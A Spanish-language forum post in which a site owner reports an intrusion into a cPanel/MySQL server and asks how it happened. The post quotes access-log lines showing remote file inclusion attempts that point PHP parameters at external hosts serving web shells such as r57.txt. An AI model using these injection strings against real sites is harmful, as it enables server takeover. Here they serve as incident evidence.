Ver Mensaje Individual
  #1 (permalink)  
Antiguo 02/09/2007, 12:03
Anarko
 
Fecha de Ingreso: febrero-2004
Mensajes: 1.987
Antigüedad: 20 años, 9 meses
Puntos: 22
Han logrado meterse en mi SERVER, que puedo hacer para que no vuelva a suceder?

Hola,

hace semanas NO entraba a mi cPanel...

Accedi al PhpMyAdmin para ver unas cosas...

Oh carambas!!, tengo IP dedicada para la conección!.

Al acceder al cPanel veo que alguien ha agregado una IP a las conexiones REMOTAS de MySQL...

Busco en los LOGS de acceso y descubro que esa IP ha intentado acceder a mi web con vars como:
Código PHP:
coin_includes constants.php?_CCFG[_PKG_PATH_INCL]=http:  flackster.org photos myadmin temp ., ., ., r57.txt?

hosting  coin_includes constants.php?_CCFG[_PKG_PATH_INCL]=http:  flackster.org photos myadmin temp ., ., ., r57.txt?

/
phpPgAdmin/sqledit.php?server=http://members.lycos.nl/pspmusicfeed/id.txt?

/include/main.php?config[search_disp]=true&include_dir=http://usuarios.arnet.com.ar/larry123/safe.txt?

Etc... 
La IP es de KOREA...

Ademas os digo:

Núnca agrego Conex remotas a MySQL... (Y tengo IP FIJA para Internet)...

Es un BUG de PhpMyAdmin?
Es un BUG de cPanel?
Con exploits a PHP pueden haber agregado ESA IP a mi sistema ?

Que pesadilla!!!....